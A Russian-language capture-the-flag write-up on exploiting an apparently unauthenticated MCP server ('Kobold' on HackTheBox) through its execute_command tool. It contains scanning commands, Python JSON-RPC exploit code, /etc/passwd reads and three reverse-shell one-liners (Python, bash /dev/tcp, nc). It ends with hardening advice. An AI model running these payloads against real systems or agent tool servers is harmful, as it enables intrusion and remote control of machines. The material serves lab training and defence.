Когда ваш AI-инструмент решает вас взломать
В 2026 году поверхность атаки сместилась. Взламывают уже не только веб-серверы, но и AI-агентов, которые по идее должны работать на вас. Машина Kobold в HackTheBox – это не просто очередная таска. Это предупреждение о том, как Model Context Protocol из удобного инструмента превращается в дыру размером с грузовик.
Идея MCP гениальна: дать AI-агентам безопасный доступ к инструментам вроде файловой системы, баз данных, API. Но безопасность здесь – иллюзия. Особенно когда разработчики забывают, что любой инструмент, который может читать файлы, может и писать. А любой, который может выполнять код – может выполнить ваш код.
Важно: этот гайд основан на реальной уязвимости в реализации MCP-сервера для Kobold AI, актуальной на 02.04.2026. Принципы эксплуатации применимы к любым MCP-инструментам с недостаточной валидацией входных данных.
Что сломалось в Kobold? Разбираем кости
Kobold – это MCP-сервер, предоставляющий AI-агенту инструменты для работы с файлами и выполнения команд. Звучит невинно. Пока не понимаешь, что инструмент execute_command принимает аргументы напрямую от агента, без какой-либо санитизации.
Проблема не в самом MCP. Протокол, разработанный Anthropic, в теории безопасен. Проблема в его реализации. Разработчики Kobold считали, что AI-агент будет использовать инструменты только "по назначению". Они забыли про prompt injection, про цепочки инструментов и про то, что злоумышленник может просто напрямую обращаться к MCP-серверу.
Подготовка полигона: что нужно перед атакой
Для работы с Kobold понадобится не только nmap. MCP-серверы общаются по SSE (Server-Sent Events) или WebSocket, а это значит, что стандартное сканирование портов покажет только открытый порт. Нужно понимать протокол.
На 02.04.2026 актуальная версия MCP – 1.1.0, где добавили аутентификацию через токены. Но в Kobold её либо нет, либо реализована криво. Проверим это.
1Сканирование и разведка
Первым делом – nmap. Но не просто -sV, а с глубинным анализом.
nmap -sV -sC -p- -T4 -A -oA kobold_full 10.10.11.XXX
Результат покажет открытый порт 8080. Веб-сервер. Заходим в браузере – видим минималистичный интерфейс Kobold MCP Server. Документация API, возможно, сваггер. Но нам нужно найти эндпоинты MCP.
MCP-серверы обычно имеют эндпоинты:
/sse– для Server-Sent Events/messages– для отправки сообщений/tools– список доступных инструментов
Проверим их с помощью curl:
curl -v http://10.10.11.XXX:8080/tools
Если сервер отвечает JSON-списком инструментов – бинго. Видим что-то вроде:
{
"tools": [
{
"name": "read_file",
"description": "Read a file from the filesystem",
"inputSchema": {
"type": "object",
"properties": {
"path": {"type": "string"}
}
}
},
{
"name": "execute_command",
"description": "Execute a shell command",
"inputSchema": {
"type": "object",
"properties": {
"command": {"type": "string"}
}
}
}
]
}
Вот он – инструмент execute_command. Теперь нужно понять, как отправить ему команду. MCP использует JSON-RPC-подобный формат.
На этом этапе многие совершают ошибку: пытаются использовать веб-интерфейс. Не надо. MCP-сервер ждет специфические JSON-сообщения через SSE или WebSocket. Веб-интерфейс – просто обертка.
2Подключение к MCP-серверу напрямую
Используем Python. Библиотека mcp в 2026 году стала стандартом, но для эксплуатации проще написать raw-запросы.
import json
import requests
# URL MCP-сервера
base_url = "http://10.10.11.XXX:8080"
# Получаем список инструментов
tools_response = requests.get(f"{base_url}/tools")
tools = tools_response.json()
print("Available tools:", [t['name'] for t in tools['tools']])
# Подключаемся к SSE-потоку
import sseclient
sse_url = f"{base_url}/sse"
messages_url = f"{base_url}/messages"
# Для простоты используем /messages эндпоинт, если сервер позволяет
# Формат MCP сообщения
message = {
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "execute_command",
"arguments": {
"command": "whoami"
}
},
"id": 1
}
response = requests.post(messages_url, json=message)
print(response.json())
Если сервер отвечает с результатом выполнения команды – уязвимость подтверждена. Но в реальном Kobold может потребоваться инициализация сессии, обмен приветственными сообщениями. Нужно следовать протоколу MCP: сначала initialize, потом tools/list, затем tools/call.
Эксплуатация: от whoami до reverse shell
Допустим, мы получили ответ от execute_command. Теперь нужно понять окружение. Какие команды доступны? Есть ли python, perl, nc, bash?
Пошаговый план:
1Разведка окружения
commands = [
"whoami",
"id",
"pwd",
"ls -la /",
"cat /etc/passwd",
"which python3",
"which nc",
"which bash"
]
for cmd in commands:
message = {
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "execute_command",
"arguments": {
"command": cmd
}
},
"id": 1
}
response = requests.post(messages_url, json=message)
print(f"Command: {cmd}")
print(f"Result: {response.json()}")
print("-"*40)
Смотрим результат. Если видим root – отлично. Если нет – нужно эскалировать привилегии. Но сначала получим стабильный доступ.
2Загрузка reverse shell
Вариантов много. Если есть python3 – используем его.
# Python reverse shell
python_cmd = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'"
message = {
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "execute_command",
"arguments": {
"command": python_cmd
}
},
"id": 1
}
# Перед отправкой запустите слушатель на своей машине: nc -lvnp 4444
response = requests.post(messages_url, json=message)
# Даже если response не придет, shell может подключиться
Если python нет, пробуем bash:
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
Или nc:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f
Ключевой момент: команда выполняется в том же окружении, что и MCP-сервер. Если сервер запущен от root – вы получите root-доступ. Если от непривилегированного пользователя – нужно искать пути эскалации.
Предупреждение: не используйте эту технику на системах, которые вам не принадлежат, без явного разрешения. Это незаконно.
Почему это работает? Глубокая причина
Уязвимость возникает из-за комбинации факторов:
- Слепая вера в AI-агента: Разработчики думают, что только AI-агент будет использовать инструменты, и он будет использовать их правильно. Но MCP-сервер – это просто API. К нему можно обратиться напрямую, минуя агента.
- Отсутствие аутентификации: MCP 1.1.0 добавил поддержку токенов, но многие серверы её не реализуют. И даже если реализуют, токены часто хранятся в конфигурационных файлах, доступных для чтения.
- Нет валидации аргументов: Инструмент
execute_commandпринимает любую строку и передает её вsubprocess.runилиos.systemбез проверки. - Сетевые ошибки: MCP-серверы по умолчанию слушают на всех интерфейсах (0.0.0.0), а не только localhost. Это делает их доступными извне.
Это классическая история: новая технология, крутые возможности, полное игнорирование безопасности. Как в случае с OpenCode, который был взломан через RCE.
Ошибки, которые вы совершите (и как их избежать)
| Ошибка | Последствие | Решение |
|---|---|---|
| Использовать веб-интерфейс для эксплуатации | Не сработает, так как интерфейс может фильтровать команды | Работайте напрямую с MCP-эндпоинтами |
| Отправлять команду без экранирования кавычек | JSON-парсер сломается, команда не выполнится | Используйте json.dumps для экранирования |
| Не проверять, какие команды доступны | Reverse shell не сработает из-за отсутствия утилит | Сначала выполните which python3 nc bash perl |
| Игнорировать необходимость инициализации MCP-сессии | Сервер отклонит запрос | Следуйте протоколу: initialize -> tools/list -> tools/call |
Как защитить свой MCP-сервер?
Если вы разрабатываете MCP-сервер, не повторяйте ошибок Kobold:
- Никогда не давайте инструмент execute_command. Если очень нужно – ограничьте команды белым списком.
- Запускайте сервер только на localhost. Если нужен удаленный доступ – используйте SSH-туннель или VPN.
- Реализуйте аутентификацию MCP 1.1.0. И храните токены в безопасном месте.
- Валидируйте входные данные инструментов. Путь к файлу? Проверьте, что он не содержит
..и не выходит за пределы разрешенной директории. - Запускайте сервер от непривилегированного пользователя. Создайте отдельного пользователя с минимальными правами.
- Используйте sandbox. Запускайте инструменты в Docker-контейнерах или gVisor. Но помните, что и контейнеры можно сбежать, как в случае с AIDA, вашим личным AI-хакером в Docker.
Безопасность AI-экосистемы – это не только prompt injection. Это и безопасность инструментов, которые вы даете агентам. Потому что если инструмент может изменить файл, рано или поздно кто-то заставит его изменить /etc/passwd.
И помните: следующий шаг хакеров – использование AI-агентов для автоматизации атак. Как в Qwen2.5-Coder-32B, который может работать как хакер. Ваша защита должна быть на шаг впереди.